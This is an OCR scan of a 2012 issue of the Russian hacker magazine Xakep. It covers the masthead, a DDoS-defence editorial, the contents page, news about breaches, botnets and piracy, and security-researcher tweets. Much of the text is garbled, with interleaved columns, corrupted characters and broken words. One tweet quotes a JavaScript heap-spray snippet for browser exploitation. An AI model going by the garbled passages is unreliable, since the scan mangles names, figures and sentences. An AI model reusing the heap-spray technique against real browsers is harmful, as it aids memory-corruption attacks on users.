Вы находитесь на странице: 1из 138

INDIE-ИГPЫ: КАК СОЗДАВАТЬ• И ЗАРАБОТАТЬ•

_,�
-FIH
ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ

....11;..
WWW.XAKEP.RU
HOWTO: Собираем

11[166)2012 КОВЫРЯЕМ БРОНЮ WINDOWS


интернет-кофеварку
с Raspberry Р1

РЕКОМЕНДОВАННАЯ
ЦЕНА:230р.

- · - -·­

SPHINX: УЧИМСЯ
ЧТО ВНУТРИ РЕВЕРСИТЬ
поискового ПРОТОКОЛЫ
ДВИЖКА

- · - -·-

ПИШЕМ ПУТЕВОДИТЕЛЬ
СКРИПТЫ ПО СИСТЕМАМ
ДЛЯ СМАРТФОН А ВИРТУАЛИЗАЦИИ

(gameJ/and
hJ./un mвdla

РУКОВОДСТВО ПО ЗАЩИТЕ _
=�

::-
=<>
ОТ DDОSСВОИМИ СИЛАМИ _..,

PUBUSHING FOA
ENТHUSIASTS
РЕДАКЦИ Я
ГnавмыМреДJктор С1еnан «Step»Ильин ("t!fQ@real X9k('p.ru)
Эаместмте11ь rnaвнoro �.цактора

по технмчео:мм еопросам Андрей «Andrushock,. Maтeeeв!]ndry:>hock !Oreal xakeQшl


Шеф-редактор Илья Иле� битов 1 •mMovfШ'eill xake.Q.r_u)
Выnускающий редактор Илья Курченко [kurche:nkolaree�l xakep rul

бито в [!IШJ.bltOv�.:tkepJ.UI
Редакторы рубрик

PCZONE и UNITS Илья Илеt-4


взлом Юрий Гол ьцев l ш.i'''vtarNinkcp r 1)

К Л

UNIXOIDиSYN/дCK Ан.црей «AПdГ\Jshock• Матвеев( ndrtJS�' rs1k�)


MдLWдRE и КОДИНГ Александр«Dr. lоuniz» озовский (�le�r.itrt �l �ul
ЛитературныМ редактор Евгения Ш а риnо в а
РА-менеджер AJ.iкa Григорье ва lg_r 1�� 1

DVD
Выnускающий редактор Анток«аnt>tЖуков(а�_аkеQ.Пl)
Unix-paэдe.n Андрей «Andrushock• Maтвeeв(i!Иiru_�hoc�iQ[Ul.x�kepru)
Security-pa;�дeл Дмитрий«D1g1>t Е вдокимов l
е:vdо щ
�n
: QУQ�тщ� )
Монтаж видео Максим Трубицын

ART

С
Арт-дмректор АликВайнер(аltk�)
ДнэаМнер Егор Поно�оtарев
Верстальщик В ера ветлых
5МЛit.Д-рtДIКТОр Елена беднова
ИмюtТрацнRна об.nожке Александр Уткин

PUBLISHING
ИJДJтеnь ООО"ГеймЛэнд>t, 119146, r. Москва, Фрунзенекая 1-яул.,д. S

тел.: 14951 934-70-34. факс: 14951 545-09-06

ГAIIHWM дмпiiнер ЭндиТернбупn

РАЗМЕЩЕ НИЕ РЕКЛАМЫ


ООО�Рек.n�мноеаrентспо�Пресс-Рммэ»

Тел.: 14951935-70-34, факс: 14951545-09-06


E-mail:�...r.u.
СПРАВИТЬСЯ С DDOS
ДИСТРИБУЦИЯ
Многим почему-то претит слово «кибероружие>>. Возможно, оно и Дмректор no дмстрм6rчмм Татьяна Кошелева l k.r
� e�rul
правда звучит слишком высокопарно, но нельзя отрицать очевид­

Нина Дмитрюк (arn_�


ное: сегодня действительно существуют реальные инструменты ПОДПИСКА
Руковод.мтеnьотдепаnодnмскм И рина Долrановаl�)
для войны в Сети. Один из таких инструментов- DDoS. Много­
Иенедмер сnецркпрсн:тр�ненмR
тысячные ботнеты, генерирующие огромное количество трафика,
зачастую способны завалить не только целевой ресурс, н о и сете­
Претенэмм м доnолнwтм�наR мнформацм111
вую инфраструктуру вокруг. И если раньше отфильтровать ботов
В слrtае воэникновения воnросов по качеству nечати и ОVО-дисков: a1m{qgс ru.
было относител ьно просто, то с каждым днем атаки становятся все

ы
ГорячаRnмнкR nо nодnиске
умнее и эффективнее. При зто м атака не всегда идет с зараженных
ОН/\айн-маrазин nодnиски: l:lll,p.Jis.hQQ_.g_
м а ш и н - иногда зловредн ый трафик сознательно генерируют Факс для отnравки купонов н квитанций ка нов е nодnиски: (4951 �5-09-06
огромное количество людей !что используется Aпoпymousl. А в Теnефон отдела nодnиски для житеnей Москвы: (495) 663-82-17
некоторых случаях <<отказ в обслуживан ии>> удается выполнить Телефон для жителей регионов и для звонков с мобильных телефонов: 8-800-200-З-999
вообще без распределенного подхода: на рукузлоумышленникам

осВ рубле вский Медиа)t,125367, г. Москва, Врач ебный nроезд.д. 10,офис 1


Дnя nисем: 101000, Москва, Главnочтамт, а./я 652,Хакер
играютсерьезные изъяны в архитектуре сайтов и фундаменталь­
ные уязвимости в сетевых приложениях, позволяющие уронить Учредитель: 000
сайт хоть с мобильного телефона. Частый вопрос: что делать, Зарегистрировано в Министерстве Российской Федерации nоделам nечати,телерадиовещанию
если на сайт пришел DDoS? Можно ли защититься от напасти и средствам массовых коммуникаций ПИ NilФC77-50451 от04 июля 2012 года.
своими силами? Н е всегда, но нередко это возможно. Поэтому
совместно с создател я м и Qгаtог, системы фильтрации трафика, Отnечатано в тиnографии Scanweb, Финnяндия. Тираж 210 ?()()экземnляров.
мы решили подготовитьдлятебя понятное руководство п о защите
от ООоS-атак. Набор рецептов, которые, во-первых, помогутпро­ Мнение редакции не обя3ательно совnадает с мнением авторов.Все материалы в HOfo4epe

е
диагностировать сервер, во-вторых, устранитьдетские ошибки и, предоставляются как информация краэ�о�ышлению.Лица, исnользующиеданную информацию

в-третьих, отбить некоторые из атак своими силами. Рекомендую в nротивозаконных целях, моrут быть nривлечены к отве1ственности. Редакция не несет ответ·

D D �S'y должен быть готов каждый.


ственности за сод ржание реклам ных объявлений в номере. За nереnечатку наших ��tатериалов без
прочитать в об язательн о м порядке:в современных реалиях к
сnроса-nреследуем.

По вопросам лиценэирования и nолучения nрав на исnользование редакционных мате риалов


Стеnан «Step» Иn�мн,
журнала обращайтесьnо адресу: conte.п.10gl r;.� .
rnавред][
twitter,com/stepth ОООО.сГеймЛэнд», РФ, 2012
Content
006
В Камбодже был задержан один
изсоэдателеМ The Pirate Вау,

HEADER
ГотфридСеартхоnьи, с 2009 года
находящнйся в розыске noдeny о
знаменитом торренt·трекере

004 MEGANEWS 016 Колонка Стёnы Ильина


Всеновоезапоследниймесяц Десант Facebook'a в Москве
011 hacker tweets 017 Proof-of-concept
Хак-сцена втвиттере Byzantium Linux: интернетбез провайдера

ODOS DDO JЬCS


ooc,scoosor� ooof'lr,ooos
COVERSTORY DDoS:oтDдo S
P'O'�D�SD�����OSDDO�
DI:.I)SDD(ISDDOSDDOSDt.�S
I.DOSDDv:::oDDO"iDC SDDOS

.. DOS 'aDDOS
jDDO�uьos
В о гл а в е эт ог о н ом е р а о к а з а л а с ь н е од н а , а с р а зу т р и с т атьи,

c.DOS _., �DOS


l)l)f'ISD�OSDDOSDDDS�DC ;ooOSDDCS IJD OS
·

.... св я з а н н ых е ди н о й темо й . Т ри с то р оны н ашумев ше го воп р ос а ,

.... ...., _
'1!1�!"�Droc�"�� = о б з о ры и п р а кти ч е с ки е совет ы о т п р из н а н ных сп е циали с т ов
�F
- DOOS - OOf'S -

't���S!!" � w
02' Отбить DDoS
� 1);)05 о J5
ooos U!'OS
ooc;s ooos ooos
;oos - DDO$
DDOSoo. ooar· "'86rsooosDDOS
�.QDOS DDOs�·
.
"":!.. -r· .:iS
,..._ DDOS ..:;
DD с;- ,.f;!f"
DDO� """ 030 Социальный DDoS
;
- �DD05� -
ooos
§ 000<

o�gs
032 Сетевые аномалии
0005 ow.s

·'ЬWбs-
DDOS .1!IOS
('1005 DO��
- r·

DDOSii:!=iiDDt.S
DDOS"""'.. 'rooos
' ".._, ·::S
PCZONE КОДИНГ
036 lndle Game:The Stoгy 100 Пишем игры на коnенке
Игра с нулевым бюджетом: как ее разработать, как nродать Делаем кроссnлатформенную игруна С# с nомощьюдвижка
и зачем это нужно UnityЗD
040 Читаем с умом 105 Стеганограф д л я Windows Phone
Заправляемся контентом по полной Пишем nрогудля сокрытия информации в фотках твоего
046 Познаем дaoSuЬiime Text 2 виндавого смартфона
Превращаем nоnулярный редактор в jQuегу-комбайн 110 Задачи на собеседованиях
с nомощью модулей Подборка интересных заданий, которые дают
на собеседованиях

- X-MOBILE
- АКАДЕМИЯ
050 Лучшие из лучших
Обзор nриложений, которые должны быть установлены 112 Школа Highload. Урок No 5
на каждом смартфоне Масштаби рование баз данных

-
054 Оборона в особыхусловиях
'
Разбираемся в системе обесnечения безоnасности Andгoid
058 Самыйумныйсмартфон UNIXOID
Обавтоматизации и скриnтингедлядndгоid
118 Храбрый nортной

-
Обзор nоnулярных наборов nатчей для ядра Linux
PHREAKING 124 В клетке
Исnользуем LXC в качестве nесочницы для эксnериментов
062 Кофеемалиной
Делаем интернет-кофеваркус RаsрЬеггу Pi
- SYN/ACK
- взлом 128 Путеводитель по виртуальным мирам
Изучаем новинки в nоnулярных nродуктах виртуализации
068 Easy Hack 133 Постановка н а контроль
Хакерекие секреты nростых вещей Обесnечиваем тотальный ayдитWindows-ceти
074 Обзор эксnлойтов
Анализ свеженьких уязвимастей
080 Полиморфный эксnлойт-nак - FERRUM
Новый взгляд на динамическую кодагенерацию
084 Вскрытиеботнета 1 38 ASUS O!Piay Media Рго
Реверс-инжиниринг и симуляция nротокола ботнет а Upgгade для телевизора
с nомощью Netzob 1 39 OCZVERTEX425SA T3-256G
090 Ищем ошибки в циклах Время менять Veгtex

- юниты
Продолжаем исnользовать IDAPython для бинарного анализа
094 X-Tools
7 утилит для исследователей безоnасности

140 FAO
- MALWARE Воnросы и ответы
143 Диско
096 Ковыряем броню Windows 8,5 Гб всякой всячины
Выясняем, что такое ACL/DACL и как зто можно 144 WWW2
заэксnлойтить Удобные wеЬ-сервисы

046 105
MEGANEWS
ПЕРВЫЙДЖЕЙЛ6РЕЙКIОS6удалось
осуществить хакеру Гранту Полу-в
качестве доказательства он установил на
iPhoлe5 приложение Cydia.

APPLE И ПРИВАТНЫЕ SONY ВЗЛОМАЛИ. ОПЯТЬ


Д АННЫЕ 12 МИЛЛИОНОВ ЯПОНСКИЙ ГИГАНТ ВНОВЬ ПОДВЕРГСЯ АТАКЕ

ЧЕЛОВЕК

m
ссЯ6ЛОЧНАЯ» КОМПАНИЯ СНОВА ВОВЛЕЧЕНА В СКАНДАЛ

е совсем обычн,а я утечкаданных nриключилась в этом


месяце с компанией Apple . Началось все с того, что хакеры
из AntiSec отчитались о новом подвиге - я кобы они nо­
хитили 12 миллионов идентификационных номеров U D I D для Аррlе­
устройств. Вишенкой на торте их заявления стало утверждение, что
данные были уг наны с ноутбука агента Ф Б Р Кристофера Стэнгла!
Чтобы не быть голословными, хакеры оnубликовали на Paste Ьin
миллион номеров из числа nохищенных (впрочем, ФИО nострадав­
ших людей, адреса и телефоны были гуманно скрыты!. Разумеется,
у общественности сразу же возникло множество воnросов- напри­
мер, откуда на лаnтоnе агента ФБР вообще взялисы акие данные?
ФБР внесло ещ е большую неразбериху в эту стран ную ситуацию,

н
когда nрокомментировало случившееся, категорически заявив­
такой информации у Бюро никогда не было, сбором подобныхданных а верняка все nомнят nрошлогоднюю эnоnею -тогда ком­
оно не занималось. Информацию о взломе ноутбука агента Ф Б Р панию Sony взламывал и несколько раз nодряд, и каждая
также о nровергло. Apple, само собой, тоже не осталась в сторо- атака была эnичнее n редыдущей. Казалось, nосле этого
не- nоддержав федералов, комn ания сообщила, что никогда не Sony взялась за ум и наконец озаботилась проблемой ИБ. Тем уди­
nередавала Ф Б Р сnиски UDID. Однако идентификаторы ухакеров вительнее было оnять увидеть в информационных сводках новость
действительно были. о взломе Sony. Стоитсразу сказать, что сама комnания на этот раз в
Когда накал страстей вок руг nоисков виновников утечки достиг лужу не села, - по официальным данным, взломали комnанию-nо­
nика, издательская комnания Blue Toad nризналась, что зто ее вина. ставщика. Отличились хакеры из команды NuiiCгew, оnубликовав­
Оnубликованный хакерами файл совnадал с информацией, храня­ шиеe -mail и логины десятков клиентов мобильного nодраздел ения
щейся на серверах комnании, на 98%. Как именно злоумышленники Sony, а также несколько nа ролей, якобы nринадлежащих админи­
добрались до базы данных, nока не ясно, идет расследование. страторам взломанного сервера. Хакеры утверждали, что зто лишь
один из восьми серверов Sony, которые находятся nод их контролем.
а
Официальный ответ Sony был такое: в руки киберnрестуnников
81056, кстати, мс·
nопьэу@тся механизм nопала информация лишь о 400 кл иентах из Китая и Та йваня, а
идентификации, серверы вообще не затронуты. Также nодчеркивалось, что взломали
фактически оэнача· некоего nартнера комnании, но не саму Sony. Доnодлинно узнать, кто
ющмй отказот при­
вязки к UDID. Apple не говорит nравду, не nредставляется возможным, но, nохоже, хакеры
устает напоминать об поnросту решили nреувеличитьсодеянное.
этом и наэываеттех­
ноnогмю идентифи­ Кстати, в СШАтем временем арестовали второго хакера из
кационных номеров LulzSecuгity- Рейнальдо Риверу, nодозреваемого в n ричастности
устаревwей. к n р о шлогодним атакам на Sony.

·-·�� ·�

ICq :;.,
\
-
. i 1�. \ .•
'-' •\.
. . ,• ,
... ..
1 '•' ''

•· .
1 •• tiiiiii8 ...... ......

ВЫШЛАФИНАЛЬНАЯ О&ЛАЧНОЕХРАНИЛИЩЕ ЗА ПРОШЕДШИЙ ГОДАУДИ· ЗАВЕРШИЛСЯ RUSSIAN CODE FACEBOOKPA&OTAET НАД


BEPCИЯ WINDOWSSERVER «ЯНДЕКС.ДИСК» ТЕПЕРЬ ТОРИЯ ICQ СОКРАТИЛАСЬ НА СUР2012,в котором приняли СОЗДАНИЕМ СО&СТВЕННОЙ
2012, со 100%-й интеграцией РА&ОТАЕТ&ЕЗИНВАЙТОВ- ТРЕТЬ, с 30,8 миллиона юзе- участие более 3000 русско- ПОИСКОВОЙСИСТЕМЫ.
PeweгShell и пользователь- регистрация открыта, а ли- ров до 20,5 миллиона. Впро- язычных прогерои со всего Эту информацию (без под-
ским интерфейсом Меtго, мит nространства увеличен чем, Maii.Ru Gгоuруверяет, мира. Победитель Влади- робностейl подтвердил
пришедшим на замену при- до 20 Гб на каждого юзера. что это результат борьбы с слав Епифанов получил лично Марк Цукерберг
вычному меню «Пуск». ботами и спамерами. 10000долларов. на TechCruпch Disrupt.

ХАКЕР 11 /166/2012
MEGANEWS КЕМ&РИДЖСКИЙ УНИВЕРСИТЕТ ВЫПУСТИЛ БЕСПЛАТНЫЙ ОНЛАЙН·КУРС, nосвященный созданию ОС для RaspbeгryPi: is.gd/KgFVYb.

ОДНОГО ИЗ СОЗДАТЕЛЕЙ НЕЙРОИНТЕРФЕЙСЫ­


ТНЕ PIR ATE ВАУ НАСТИГЛО СКРЫТАЯ УГРОЗА
ПРАВОСУДИЕ ТЕХНОЛОГИЯ ЕЩЕ НАХОДИТСЯ В ЗАЧАТОЧНОМ

Cl
СОСТОЯНИИ, НО УЖЕ ПРИЭНАНАОПАСНОЙ
СУДЕЕiНЫЙ ПРОЦЕСС ОТГРЕМЕЛ НЕСКОЛЬКОЛЕТ НАЗАД, НО ЕГО
ОТГОЛОСКИ СЛЫШНЫ ДО СИХ ПОР ейрок омnьютерные интерфейсы до сих пор nри­
надлежатск ореек сфере научной фантастик и.
а нежели к реальности. Да, nервые разработчик и
Хотя четверо соэ·
дателейтрекера и даже готовые продук ты в этой области уже существуют,
давноотоwлиот но стоит nризнать-технология nок а оченьдалек а от со­
дел, борьбасТРе вершенства. Однако это не nомешало объединенной груnпе
nродолжается:
недавноGооglе ученых иэ Ок сфордск ого, Женевского и Калифорнийского
подверглацензуре университетов nровести любопытное исследование и
домены Бухты. nрийти к выводу, что нейроинтерфейсы будут довольно nер­
Теперьони не
ото6ра•аются nри сnек тивной для хак еров штук ой. Исследователи nровели
автодоnолнении исnытания. исnользуя nоnулярный девайс ЕРОС nроиэвод­
nомсковых за·
nросов.
ствакомnании EmotivSystem, которая сnециализируется
насоздании нейрок омnьютерныхинтерфейсов на основе
элек троэнцефалографии. По сути, ЕРОС -это именноком­
пак тный элек троэнцефалограф стоимостью 299 долларов.
Похожий девайс выnускаеттакжекомnания NeuгoSky,
называется он MindWave, и он тоже nоучаствовал в эк с­
nерименте. К слову, оба nрибора nохожи на своеобразную
nомесь ободк а с гарнитурой, доnолненную датчик ами. И оба
nрибора уже ус nели завоевать немалую nоnулярность.
Итак , что сделали ученые? Они nродемонстрировали,
чтотеоретическ и nодобныеустройства могут исnользо­
ваться для несанк ционированного извлечения информа­
ции. Очень хочется добавить<<nрямо иэ мозга>>, но это было
бы не совсем верно :1. В ходе эк спериментов исследователи
ще в далек о м 2009 году основатели << Пиратск ой бухты>> были nри­ nросили добровольце в задуматьл юбое четырехзначное
Е говорены к годутюрьмы к аждый ик суммарному штрафу в 30 миллио­
нов шведск ихк рон (nримерно 4,3 миллиона долларов!. Тогда один из
число, а затем демонстрировали им на эк ране nоследо­
вател ьность цифр отО до 9 дляк аждого из знак ов числа,
четверк и, Готфрид Свартхольм, отсутствовал на заседании суда по состоянию регистрируя nри этом работу мозга с nомощью ЕРОС.
здоровья, так к ак был госnитализирован в одну из больниц Камбоджи. Не Каждая цифра nовторялась 16 раз, всего nок аз <<слай-
явился Свартхольм и на nоследующую аnелляцию, в результате чего nриговор дов•• занимал 90 сек унд. Мозговые волны добровольцев
остался в силе, а самого Г отфрида объявили в международный розыск . По идее, вни мательно изучались на nредмет nодозрительных л ик ов,
в Камбодже, где он и остался, оnасаться ему было nрактическ и нечего- между к оторые могли бы их выдать. Так и м образом ученым удалось
Швецией и Камбоджой даже нет договоренности о выдаче nрестуnник о в. с nервого раза угадать задуманный исnытуемыми РIN-код
Подозреваем, что Свартхольм сильно уди вился, когда его сnустя годы все же в 20% случаев. Аналогичный результат был дости гнут в
арестовали nрямо в той самой Камбодже. угадывании названия обслуживающего исnытуемых банк а
Не будем ходить вок руг да ок оло и nоясним -оказалось, что арест ник ак и имен их энакомых.Дальше еще интереснее- nравильно
не связан со ск андальным трек е ром, хотя история все равно ск верная. Хак ера расnознатьзадуманное место удалось в 30% случаев, а
быстро и тихо деnортировали из Камбоджей - все nредставили так , будто у месяц рождения тестируемого - в 60%! Ученые nодчерк и­
него истек ла виза, раз эк страдировать к ак nрестуn ник а его было нельзя. Хотя вают. что и Emotiv, и NeuгoSky имеют собственные магазины
Свартхольму должны были nредложить выбор и он сам волен был решать, к уда nриложений, отк уда nользоват ели могут ск ачивать раз­
ему отnравиться из страны. его деnортировали именно в Ш вецию. Во время личные nриложения оттретьих сторон. API в обоих случаях
всей этой неразберихи ему даже не удалось nообщаться с адвок атом. Как толь­ nредоставляет неограниченный достуn неnосредственно
к о самолет е <<беглым nрестуnником» nриземлилея в сток гольмск ом аэроnорту, к элек троэнцефалограмме мозга nользователя. Насколько
власти nредъявили Свартхольму новое обвинение - во взломе ИТ-к омnании это может быть оnасно уже сейчас, не говоря о будущем, ­
Logica. Из-за атак и на эту к онтору в 2010 году в отк рытом достуnе ок азались воnрос отк рытый. Исследователи nолагают, что начинать
свыше 9000 номеров шведск их налогоnлательщик о в. Сейчас Свартхольм от­ создавать защиту нужно немедленно, так к ак сnайварьдля
рицает все обвинения и ожидает суда. нейроинтерфейсов можно реализоватьуже сегодня, а через
5-10летситуация и вовсе станетк р итической.

СТИВ ВОЭНЯК О СУДЕЕiНОМ ПPOЦECCEAPPLEVSSAMSUNG:

«Р ЕШЕНИЕ СУДА МНЕ НЕНАВИСТНО, Я НЕ СОГЛ АСЕН


С НИМ ...;.. ТАКИЕ МЕ ЛОЧИ ДАЖЕ НЕЛЬЗЯ НАЗВАТЬ
ИННОВАЦИЯМИ И П АТЕНТОВАТЬ»
006 ХАКЕР 1 1 /166/2012
МEGAN EWS ХАКЕРОВ, ВЗЛОМАВШИХ В2011 ГОДУсеть кафеSuЬwауи нанесших комnанииущерб 10 миллионов долларов, осудили на7 лети 21 месяц тюрьмы.

ОБНАРУЖЕН Р2Р-БОТНЕ Т, САМЫЕ ПИРАТСКИЕ


УПРАВЛЯЕМЫЙ ЧЕРЕЗ TOR ПИРАТЫ
НОВЫЙ, ЗАКОНОМЕРНЫЙ ИТОГЭВОЛЮЦИИ БОТНЕТОВ ОПУБЛИКОВАНЫ РЕЙТИНГИ ЗЛОСТНЫХ СИДЕРОВ

m
И РЕЛИЗЕРОВ

нтерес ную с татистику оnубликовала груnпа уче­


ных из уни верс итета Карлоса 111, института IMDEA
Netwoгks и ряда других учебных заведений. Ис ­
следователи внимательно изучили базутрекера The Piгate
Вау и выявили, какие nользователи !или релиз-груnnыl
раздают больше всего торрентов, с каких IР-адрес ов они это
делают и где могут находитьс я географичес ки, исходя из
этих данных. Воттак выглядиттоn-1 0 за nоследний месяц:

Количество Исnользова-
м есто Н ик
торрентое но IP

TvTeam 3808 924


scenebalance 2359 795
3 XxXRG 1225 63
4 sceneline 993 244

л
5 digital_гippeг 870 38
етом текущего года на гeddit состоялосьс вое­
образное интервью- nублика задавала воnросы Не менее любоnытную с татистику оnубликовала ком­
анонимному владельцу ботнет а, а тот отвечал и nания ICM, занятая защитой л ицензированного контента
расс казывал, как работает вс я эта «кухня>>. В ходе сесс ии по заказам росс ийских nраво обладателей. Самыми nо­
воnросов-ответов выяснилось, что в ос нове зомби-сети nулярными в Росс и и nиратекимис айтами с оглас но отчету
лежит утекший ис ходный код ZeuS, к которому добавлены ICM являютс я :
некоторые фичи, руткит, модули IRC, DDoS и майнинга бит­
кои нов. Кроме того. хозяин ботнета nоведал, что трафик у тИ Цiте мати -
а С � ческий индекс Google Позиция сайта
него идет череэ Тог. а сделано это затем, чтобы ис ключить аит
цитирования PageRank на alexa.com
обнаружение. Боты якобы также работают как реле и Тог.

G Data Secuгi ty Labs обнаружила очень nохожую действу­


10000 маwмн на· Я ндек сl
И воттеnерь, несколько месяцев с nустя, комnания считывал ботнет,
уnомянутый на гutгас kег.ог g 4500 281
reddit, и каждый
ющую зомби -с еть. Ботнет работает по обычной Р2Р-схеме, день он пр мбавлял tfi le.г u 1 1 00 4 2551
ес ли бы не одно «НО>> - коммуникации междуботами осу­ nо500- 1000новых гutог.ог g 950 6 1296
инсталлов. Скром­
ществляютс я внутри сети Тог, то ес ть боты действительно ная цифра, но опера· kinozal.tv 900 2240
работают как релеи, что и было оnис а но на гeddit. В отчете тор не скрывает, что
е�о� у хватает лиwь my-hit.гu 850 4 1 262
G Data Secuгity Labs говорится, что за анонимайзером на карманные рас­
такжес крыт и IRC-cepвep, nодающий ботнету команды. ходы: его основной
Изящное реше ние, ведь хозяева ботнета убиваюттаким доход-генерация «Лучшими>> релизерами Рунета lсайты, nервыми
Bitcoin, nриносящая
образом с разу нес кольких зайцев: ус ложняют nерехват около 50 долnаров nубликующие nи ратс кие коnии, откуда они расходят­
уnравления с етью, блокировкутрафика и nрячутсервер. вдень. с я дальш е n о интернет�являютс я такиес айты, как
Факти чес ки им даже не нужно разрабатывать новый uniongang.tv lc большим отрывом!, гelizlab.oгg и гutог.огg.
зашифрованный nротокол, достаточно обычного IRC, В nятерку лидеров также входят сайт kikteam.net и с оци­
который идет через Т ог. альная сеть«ВКонтакте>>.

КОМПАНИЯ HEWLEТТ-PACKARO
выпустила бета -версию Ореп webOS
nодлицензиейАрасhе 2.0, как и обе­
щала ранее. Наnомним, что решение
сделать webOS открытой далось
комnании нелегко и было nринято
только nосле смены руководства.
На этом фоне интересно выглядит
недавнее заявление новой главы НР «ЯНДЕКС» эа пустил &OTHEТZEROACCESS
МегУитмен, которая сообщила, что nрограмму nоискадыр в РАЭРОССЯдо 1 миллиона
комnания намерена вернуться к вы­ мобильных nриложениях. активныхботов, сообщает
пускусмартфонов. За каждый баг комnания Sophos. На кликфроде и май­
готова nлатить от 3 до 3 0 нииге биткоинов владельцы
тысяч рублей в эависимости сети могутзарабатывать
от уровня ба га. до 100000 долларов вдень.

008 ХАКЕР 1 1 /166/2012


MEGANEWS ЧЕТЫРЕХМИЛЛИОННОЕДОМЕННОЕ ИМЯ было зарегистрировано в зоне .RU 17 сентября 201 2 года.

ЯБЛОЧНЫЕ ИЗВЕСТИЯ
КОМПАНИЯ APPLE ПРЕДСТАВИЛА
НОВЫЙ IPHONE И НЕ ТОЛЬКО

в сентябре компания Аррlе провела презентацию, столь ожи­


даемую поклонниками бренда по всему миру. Затаив дыха­
ние, все ждали новый iPhone, и он nришел. Тебеуже навер­
няка известен списокосновныхотличий новогосмартфонаотверсии
45 и более ранних !тем более что никаких сверхинноваций аnпарат
не nринес!, однако позволь напомнить о ключевых моментах. Теперь
устройство основ ывается на новой однокристальной системе А6, ко­
торая почти в два раза производительнее своей предшественницы.
Устройство стало на 18%тоньше lтолщина- 7,6 мм! и на 20%легче
lмасса- 11 2 граммовl, чем iPhone 45. И это не помешало i Phone 5
получить четырехдюймовый дисплей разрешением 1136 х 640 точек.
iPhone 5 также получил улучшенную камеру разрешением 8 Мп . Она а
оснащается датчиком с технологией обратной засветки и объекти­ За первыесутки было
вом с максимальной диафрагмой F/2,4. Камера п озволяет записы­ сделано болеедвух
вать видео Full НО, поддерживаеттехнологию распознавания лиц и миллионов nредва·
рмтельныхэакаэов
наделен а режимом съемкипанорам. нaAppleiPhone S, что
Еще одним нововведением стал В-контактный разъем Lightпiпg nревыwаетnроwлый
рекорд, установлен·
!на 80% меньше того, что использовался в предыдущих поколениях ный iPhone,S, более
iPhoпel. Пожалуй, именно он и вызвал больше всего споров и на­ чем вдвараза (тому
реканий. Дело в том, что многие вообще ожидали увидеть в новом удалось взять рубеж
nиwьв ммnnмон
устройстветехнологии беспроводнойзарядки, а в место них публике nредварительных
подсунули новый разъем питания, который, ко всему прочему, не заказов).
совмест и м с прежним, а значити практически со всей •старой»
периферией. Стоит добавить, что Apple продает адаптер на 30 рiп за
29 долларов штука, а адаптер Lightпing-USB стоит 19 долларов. Не­
удивительно, что недовольство в комьюнити быстро достигло таких
масштабов, что представители Apple были вынуждены дать коммен­
тарий, пояснив, что без Lightпiпg новые iPhone и iPod не удалось бы
сделать такими тонкими. То есть удобство пользователей принесли
в жертву миниатюризации, никого особенно и не спрашивая.
Многих поклонников Аррlе также удивило и расстроило отсут­
ствие технологии NFC в iPhone 5 . Технология действительно очень
активно внедряется в мобильную технику, nозволяя исnользовать
гаджеты в качестве электронного кошелька для бесконтактных
платежей, в качестве электронных пропусков и так далее. Однако
старший вице-президент Аррlе Филипп Шиллер заявил, что NFC
врядли способна решить какую-либо из текущих nроблем nользо­
вателей, к тому же для скидочных карт и электронных билетов есть
nриложение Passbook, которое • ничуть не хуже>>.
Хотя из вышеописанного складывается ощущение, ч то многие В завершение стоит отметить, что помимо iPhone 5 корnорация
ожидал и от iPhone 5 большего, на деле у Apple все идет прекрасно. Apple nрезентовала также обновленные nлееры iPod, наушники
Предварительные продажи iPh o ne 5 прошли с рекордным успехом, Eaг Pods, над которыми работа в стане комnании киnела более трех
чтоотразилось и на стоимости акций компании. Ценаоднойакции лет, и финальную версию i056, бесплатный переход на которую уже
Apple впервые за всю историю превысила 700 долларов. начался.

ВИЦЕ-ПРЕЭИДЕНТ ПО КИ&ЕР&ЕЭОПАСНОСТИ TREND MICRO СЧИТАЕТ:

��ПРОГРАММЫ ВОСТОЧНО­
ЕВРОПЕЙСКИХХАК ЕРОВ
СДЕЛ АНЫ ТАК ЭЛЕГАНТНО,
ЧТО ИХ МОЖНО СРАВНИТЬ
С ЯЙЦАМИ ФАБЕРЖЕ ОТ
МИРА МАЛВАРИ»
010 ХАКЕР 11 /166/2012
raмтarakanov
В понедельник я начну работать Нынче 2012-й. но нек оторые
в sесuгitу-к оманде Twitteг. Буду ядреные разработчик и до
рад работать с такой великолеп­ сих пор не в теме того, что
rn·��
1!!1!1
ной к омандой! Wo w ' �6.< L 11 � #срр METHOD_BUFFERED так же оnасен. как и

&ill 1!!!!1
METHOD_NEIТH ER.

&ill
Комментарий:
Комментариii:
Чарли Миллер ушел из оффенсив- в
дефенсив-стиль. Тренд года ;l Интересный вопрос на вни матель­ raмтarakanov
ность 81 Вот, собственно, обещанное (про INFO-BEZ
ЕХРО 2012 Secuгity Awaгds FAIL ;] ]:
# lulz # 0-dayz
lilndl303
Шаг номер 1 для ВСЕХ пен­ lithomaslltaglt
raмтarakanov
тестеров на СОВМЕСТНОМ про­ Из инсталлера: «Java предлага­
+ к nредыдущему твиту: этот nродук т серти­
ек те: c< man screen» или <<man ет защищенный и безопасный
фицирован! Интересно, к ак nроходила эта
доступ в восхитител ьный мир


сертифик ация. если я nьяный за минуты
Jаvа-к онтента>>. Я насчитал три лжи, а вы?
вск оnал там 0-dayz?

1!!!!1
&ill
liryanaralne Комментариii:
Черт! Apple тольк о что выпу­ laWТFuzz Вот так легк о и непринужденно
стили новый iTunes с патчами Выровненный НеарSргау Ник ита nоказывает, что отечественный софт.
для 160+ уязвимастей (CVEI. !а О х 1 OOOO:document. к оторый должен защищать наше Гос-во. на
сгеаtе Е lement( ·са nvas"1. деле швейцарский сыр.
getContext(' 2d"l. И это не случайность или (неlвезение - это
cгeatelmage0ata(Ox1 0000000/4-0x20,1l; .data следствие того, как у нас nодходят к делу
lagarethheyes = byte(]
разработк и ПО.

1!!1!1
JS рго совет: используй Еггогl l.

&ill
stack вместо tr y catch. Комментариii:
НТМLS дает нам новые инструменты
для НеарSргау 81 lidjrЫiss
Я тольк о что открыл VOP
Подождите. что? Qualys (Victory-O гiented Pгogгammingl.
BгowseгCheck для Chгome на Зачем вам RОР/JОР/как о-
racorelanc0d3r
Windows имеет базовый адрес У меня 99 Jаvа-nроблем. и одна
О х1 0000000? #OERP # FAIL #ASLR pi.!...lшtl.\:r.
из н их patch.
t2JDL.NuC ·511N
1!!1!1
&ill
Комментариii: Комментарий:
Вот так софт, к оторый должен прове­ Не фанат рэnа. но шутк у nоддержи­
рять защищенность, по факту делает систе­ ваю :1
му более уязвимой 81

lifdhlkon
Вы отвечали к огда-нибудь на
